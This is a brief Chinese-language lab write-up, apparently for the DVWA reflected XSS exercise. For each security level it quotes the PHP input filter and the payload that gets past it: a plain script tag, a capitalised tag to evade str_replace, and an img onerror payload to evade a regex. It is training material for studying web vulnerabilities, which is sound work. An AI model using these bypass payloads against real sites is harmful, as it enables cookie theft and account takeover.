low
无验证,直接注入
<script>alert(document.cookie)</script>
medium
查看源码发现过滤了<scrpit>标签
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
绕过思路:大写
<Script>alert(document.cookie)</script>
high
查看源码,可发现用正则过滤了
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
绕过思路:标签很多,换一种标签即可。这里用img
<img src=1 onerror=alert(document.cookie)>
【这又是一个梗,感觉可以从正面绕过这个正则,路过的朋友指教一下,thank you!】
注:谷歌浏览器默认配置是不会执行alert的,可换其他浏览器测试。